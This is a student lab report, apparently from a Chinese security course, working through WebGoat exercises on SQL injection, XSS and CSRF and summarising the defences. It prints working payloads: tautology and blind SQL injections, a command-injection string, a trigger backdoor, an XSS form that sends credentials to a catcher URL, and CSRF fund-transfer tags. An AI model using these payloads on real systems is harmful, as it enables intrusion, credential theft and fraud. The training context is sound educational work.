2018-2019-2 网络对抗技术 20165316 Exp 9 Web安全基础

2018-2019-2 网络对抗技术 20165316 Exp 9 Web安全基础

基础问题回答

1.SQL注入攻击原理,如何防御?

  • 原理:

    • sql注入攻击是利用是指利用设计上的漏洞,在目标服务器上运行Sql语句以及进行其他方式的攻击,动态生成Sql语句时没有对用户输入的数据进行验证是Sql注入攻击得逞的主要原因。如:在用户名、密码登输入框中输入一些',--,#等特殊字符,实现引号闭合、注释部分SQL语句,利用永真式实现登录、显示信息等目的。
  • 防御:

    • 关闭或删除不必要的交互式提交表单页面;
    • 对漏洞注入点相关代码进行关键字的过滤(如:利用正则表达式),以规范代码安全性;
    • 不要在服务器端放置备份的文件以免受到感染,或备份的文件含有漏洞,造成切入点;
    • 将数据库里的内容进行加密处理使其不具有特殊的意义。

2.XSS攻击的原理,如何防御?

  • 原理:
    • XSS:跨站脚本。攻击者利用网站漏洞(通常这些漏洞是指网站后台处理程序没有很好的对用户输入进行过滤),输入可以显示在页面上的、对其他用户造成影响的HTML代码;由于受害者浏览器对目标服务器的信任,当其访问目标服务器上被注入恶意脚本(如:html 标签或者 javascript 代码)的页面后,这段恶意脚本可以顺利执行,实现获取用户cookie并可以利用用户身份进行非法操作的目的。
  • 防御:
    • 用户角度:提高防范意识,不要轻易输入个人信息,如用户名密码;
    • 网页制作者角度:
    • 对输入和URL参数进行过滤
    • 在输出数据之前对潜在的威胁的字符进行编码、转义

3.CSRF攻击原理,如何防御?

  • 原理:
    • CSRF :跨站请求伪造。CSRF就是冒名登录。跨站请求伪造的核心本质是窃取用户的 Session ,或者说 Cookie ,因为目前主流情况 Session 都是存在 Cookie 中.攻击者并不关心被害者具体帐号和密码,因为一旦用户进行了登录, Session 就是用户的唯一凭证,只要攻击者能够得到 Session ,就可以伪装成被害者进入服务器.
    • 主要是当访问网站A时输入用户名和密码,在通过验证后,网站A产生 Cookie 信息并返回,此时登录网站A成功,可正常发送请求到网站A。在未退出网站A前,若访问另一个网站B,网站B可返回一些攻击性代码并请求访问网站A;因此在网站B的请求下,向网站A发出请求。但网站A不知道该请求恶意的,因此还是会执行该恶意代码
  • 防御:
    • 验证请求中的Token
    • 验证 Referer
    • 添加加随机验证
    • 设定cookie域

实践过程记录

WebGoat

WebGoat是一个用来演示Web应用程序中的典型安全漏洞的应用程序,旨在在应用程序安全审计的上下文中系统、条理地讲解如何测试和利用这些安全漏洞。WebGoat是用Java语言写成的,因此可以安装到所有带有Java虚拟机的平台之上。此外,它还分别为Linux、OS X Tiger和Windows系统提供了安装程序。部署该程序后,用户就可以进入课程了,该程序会自动通过记分卡来跟踪用户的进展。当前提供的训练课程有30多个,其中包括:跨站点脚本攻击(XSS)、访问控制、线程安全、操作隐藏字段、操纵参数、弱会话cookie、SQL盲注、数字型SQL注入、字符 串型SQL注入、web服务、Open Authentication失效危险的HTML注释等等。

参考资料:WebGoat安装及使用说明

因WebGoat默认使用8080端口,所以开启前先用 netstat -tupln | grep 8080 查看端口是否被占用,如果被占用,用kill 进程号终止占用8080端口的进程。

普通安装,命令行输入 java -jar webgoat-container-7.0.1-war-exec.jar

浏览器转: localhost:8080/WebGoat 直接用默认用户名密码登录即可,开始练习

SQL注入攻击(Injection Flaws)

1.命令注入(Command Injection)

概念:命令注入攻击对任何一个以参数驱动的站点来说都是一个严重威胁。这种攻击技术背后的技术方法,简单易学,能造成大范围的损害,危及系统安全。尽管这类风险数目令人难以置信,互联网中的系统很容易受到这种形式的攻击。

原理:在正常的参数提交过程中添加恶意代码以执行某条指令。

目标:可以在目标主机上执行任何系统命令

操作方法:

右键点击页面,选择 inspect Element 审查网页元素对源代码进行修改,在复选框中任意一栏的代码,右键单击后,选择 Edit At Html 进行修改,添加 "& netstat -an & ipconfig"

点击 view ,可以看到执行指令后的网络端口使用情况和IP地址。攻击成功!

2.数字型注入(Numeric SQL Injection)

概念:注入数字型数据(如:永真式)达到注入的效果。

原理:在station字段中注入特征字符,组合成新的SQL语句。
如:SELECT * FROM weather_data WHERE station = [station]

目标:该例子通过注入SQL字符串查看所有的天气数据。

操作方法:

右键点击页面,选择 inspect Element 审查网页元素对源代码进行修改,在选中的城市编号 Value 值中添加 or 1=1

显示所有城市的天气情况,攻击成功!

3.日志欺骗(Log Spoofing)

概念:通过在日志文件中插入脚本实现欺骗。

原理:在日志文件中愚弄人的眼睛,攻击者可以利用这种方式清除他们在日志中的痕迹

目标:灰色区域代表在 Web 服务器的日志中的记录的内容,我们的目的是使用户名为“admin”的用户在日志中显示“成功登录”

操作方法:

前提:本题目接受用户输入的任何一个用户名,并将其追加到日志文件中。

利用入回车(0D%)和换行符(%0A),在 username 中填入 sxz%0d%0aLogin Succeeded for username: admin

攻击者可以利用这种方式向日志文件中添加恶意脚本,脚本的返回信息管理员能够通过浏览器看到。比如,将 admin <script>alert(document.cookie)</script> 作为用户名输入,可以看到弹窗的cookie信息。

4.SQL 注入(LAB: SQL Injection)

Stage 1: 字符串型注入(Stage 1: String SQL Injection)

原理:通过注入字符串绕过认证

操作方法:

右键点击页面,选择 inspect Element 审查网页元素对源代码进行修改,将 password 密码框的最大长度限制改为16。

以用户Neville(admit)登录,输入密码 ' or '1' = '1

得到所有人员列表,攻击成功!

Stage 3: 数字型 SQL 注入(Stage 3: Numeric SQL Injection)

原理:通过注入数字型数据,绕过认证,可以通过普通员工的账户,查看到BOSS的用户信息。

操作方法:

使用用户名 Larry,密码 larry 点击 login 登录。

右键点击页面,选择 inspect Element 审查网页元素源代码,找到包含 ViewProfile 的表,单我们可以看到数据库索引的依据是员工ID,推测返回的是每次查询到的第一条数据。

用社会工程学解释老板应该是工资最高的,所以将员工ID的 value 改成 101 or 1=1 order by salary desc ,使得老板的信息作为查询到的第一条数据。

得到老板的账户信息,攻击成功!

5.字符串注入(String SQL Injection)

概念:通过注入字符串绕过认证

原理:基于以下查询语句构造自己的 SQL 注入字符串。

目标:下面的表格,允许用户查看他们的信用卡号码。尝试通过 SQL 注入将所有信用卡信息 显示出来。尝试的用户名是“Smith”。

操作方法:

正常情况下只能查询到用户名对应的信用卡号码

输入查询的用户名 sxz' or 1=1-- (Smith 和1=1都成了查询的条件,而1=1是恒等式,因此能查询到表里面的所有数据)
得到所有用户的信用卡号码,攻击成功!

6.数据库后门(Database Backdoors)

原理:数据库通常作为一个 Web 应用程序的后端来使用。此外,它也用来作为存储的媒介。 它也可以被用来作为存储恶意活动的地方,如触发器。触发器是在数据库管理系统上调用另 一个数据库操作,如 insert, select, update or delete。举个例子:攻击者可以创建一个触发器, 该触发器在创建新用户时,将每个新用户的 Email 地址设置为攻击者的地址。

目标:利用查询的脆弱性创建触发器。由于 WebGoat 使用的是 MySQL 数据库,不支持触发器,所以该课程不会真正完成。 我们的 Login ID 是 101。

操作方法:

输入 101 ,得到该用户的信息。我们可以看到,输入的语句没有验证,很容易进行 SQL 注入

输入注入语句 101; update employee set salary=90000 执行两个语句

输入 101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='sxz5316@hackme.com'WHERE userid = NEW.userid

  • BEFORE/AFTER 参数指定了触发执行的时间,在事件之前或是之后
  • FOR EACH ROW 表示任何一条记录上的操作满足触发事件都会触发该触发器,也就是说触发器的触发频率是针对每一行数据触发一次

7.数字型盲注入(Blind Numeric SQL Injection)

原理:某些 SQL 注入是没有明确返回信息的,只能通过条件的“真”和“假”进行判断。攻击者必须充分利用查询语句,构造子查询语。

目标:该题目允许输入一个帐号,并检测该帐号是否合法。使用该表单的返回信息(真或假)测试检查数据库中其它条目信息。我们找到 pins 表中 cc_number 字段值为 1111222233334444 的记录中 pin 字段的数值。pin 字段类型为 int,整型。输入找到的数值并提交。

操作方法:

本题目中,服务端页面返回的信息只有两种:帐号有效或无效。因此无法简单地查询到帐号的PIN数值。但我们可以利用系统后台在用的查询语句 SELECT * FROM user_data WHERE userid=accountNumber;

如果该查询语句返回了帐号的信息,页面将提示帐号有效,否则提示无效。使用 AND 语句,我们可以添加一些额外的查询条件。如果该查询条件同样为真,则返回结果应提示帐 号有效,否则无效。

例如:输入查询语句 101 AND 1=1,因为两个条件都成立,所以页面返回帐号有效

输入查询语句 101 AND 1=2,因为第二个条件不成立,所以而页面返回帐号无效

针对查询语句的后半部分构造复杂语句,如:101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 5000 ); 如果提示无效,则pin值小于5000,使用二分法,最终得出pin的值为2364

8.字符串型盲注入(Blind String SQL Injection)

原理:与数字型盲注入类似,某些 SQL 注入是没有明确返回信息的,只能通过条件的“真”和“假”进行判断。攻击者必须充分利用查询语句,构造子查询语。

目标:找到 pins 表中 cc_number 字段值为 4321432143214321 的记录中 pin 字段的数值。pin 字段类型为 varchar。输入找到的数值(最终的字符串,注意拼写和大写)并提交。

操作方法:

与数字型盲注入类似,只是将注入的数字换为字符串而已
例如:输入 101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) < 'M' ); 取得 pin 字段数值的第一个字母,并判断其是否比字母“M”小
SUBSTRING 语法为 SUBSTRING(STRING,START,LENGTH)
同样使用二分法进行测试,最后得到pin字段为Jill

XSS攻击(Cross‐Site Scripting)

跨站脚本攻击是通过HTML注入劫持用户的浏览器,任意构造用户当前浏览的HTML内容,可以模拟用户当前的操作。这里实验的是一种获取用户名和密码的攻击。

1.XSS 钓鱼(Phishing with XSS)

原理:当用户输入非法HTTP响应时容易受到XSS攻击。在XSS的帮助下,可以实现钓鱼工具或向某些官方页面中增加内容。对于受害者来说很难发现该内容是否存在威胁。

目标:创建一个 form,要求填写用户名和密码。将数据提交到 http://localhost/WebGoat/catche r?PROPERTY=yes&user=catchedUserName&password=catchedPasswordNam

操作方法:

利用XSS可以在已存在的页面中进一步添加元素,包括两部分:
受害人填写一个表格;
服务器以读取脚本的形式,将收集到的信息发送给攻击者。
编写一段脚本读取被攻击者在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的 WebGoat

编写一个带用户名和密码输入框的表格

//脚本
</form>
<script>
    function hack(){ 
        XSSImage=new Image;
        XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
        alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
    } 
</script>
<form name="phish">
<br>
<br>
//表格
<HR>
    <H2>This feature requires account login:</H2>
<br>
    <br>Enter Username:<br>
    <input type="text" name="user">
    <br>Enter Password:<br>
    <input type="password" name = "pass">
<br>
    <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>

2.存储型XSS攻击(Stored XSS Attacks)

原理:这种攻击常见于论坛等留言平台,用户留言的时候输入一段JavaScript脚本,这段脚本就会被保存在数据库中。因为是留言,所以任何用户在打开网页的时候,这个脚本就会被从数据库中取出来而运行。

目标:写入非法的消息内容,可以导致其他用户访问时载入非预期的页面或内容

操作方法:

在title中任意输入字符,留言板中输入 <script>alert("I am 20165316. Who are you? You've been attacked!!!");</script>

3.反射型XSS攻击(Reflected XSS Attacks)

原理:在反射的XSS攻击中,攻击者可以使用攻击脚本创建一个URL,并将其发布到另一个网站、通过电子邮件或其他方式让受害者点击它。

目标:使用攻击脚本创建URL,并将其写入网站中,当读取到该URL的时候就会被攻击

操作方法:

输入代码 <script>alert("Hello, how about being attacked?");</script> ,点击purse的同时页面就给出了反馈

CSRF攻击

跨站请求伪造,尽管听起来像跨站脚本(XSS),但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。

1. 跨站请求伪造(Cross Site Request Forgery (CSRF))

原理:跨站请求伪造是一种让受害者加载一个包含网页的图片的一种攻击手段。如: <img src="https://www.mybank.com/me?transferFunds=5000&to=123456"/> ,当受害者的浏览器试图呈现此页面时,它将使用指定的参数向www.mybank.com的“me”端点发出请求。浏览器将请求链接以获得图像,即使它实际上是一个资金转移功能。提交请求时,浏览器将添加与站点相关的所有cookie。因此,如果用户对站点进行了身份验证,并且拥有永久或当前会话cookie,那么站点将无法将其与合法的用户请求区分开来。通过这种方式,攻击者可以让受害者执行他们不打算执行的操作,比如“购买物品”,或者脆弱网站提供的任何其他功能。

目标:向新闻组发送一封email。这个email包含一个image,其URL指向一个恶意请求。URL应该指向“攻击”servlet,其中包含“屏幕”和“菜单”参数,以及一个额外的参数“transferFunds”,其数值为5000。可以通过在右侧插入的参数中找到“Screen”和“menu”值来构造链接。当经过身份验证的CSRF电子邮件的收件人将被转移他们的资金。

操作方法

写一个URL放进Message框,使其他用户不可见,设置成一个隐藏图片,用户一旦点击就会触发一个CSRF事件
在Message里输入 <img src="http://localhost:8080/WebGoat/attack?Screen=&menu=900&transferFunds=5000" width="1" height="1" />
点击该消息,页面就会下载这个消息并显示,就会执行转走用户的存款

2. 绕过CSRF确认(CSRF Prompt By-Pass)

总体目标:给新闻组发送一封带有多个威胁请求的 Email。第一个请求用户资金转账,第二个用于自动处理第一个请求所触发的确认。URL 必须使用以下两个外部参数 “transferFunds=4000” 和 “transferFunds=CONFIRM” 。可以通过在左侧链接中右键鼠标,复制快捷方式完成 URL 获取。任何收到该邮件的人若正好已经通过认证,则当其访问该页面时将自动完成资金转账。
注意:不同 WebGoat 环境的 URL 中“Screen”和“Menu”参数可能会有所区别。请使
用您当前访问 URL 中正在使用的参数。

操作方法

查看页面下侧Parameters中的src和menu值,命名title,message框中输入代码:

<iframe src="attack?Screen=[scr]menu=[menu]&transferFunds=5000"> </iframe>
<iframe src="attack?Screen=[scr]&menu=[menu]&transferFunds=CONFIRM"> </iframe>

查看消息,看到转账消息。

可以看到,任务已完成。

心得体会

WebGoat中文手册有答案,将来可以立志于自己在Webgoat上写题目。

posted @ 2019-05-26 12:28  treebeard  阅读(208)  评论(0编辑  收藏  举报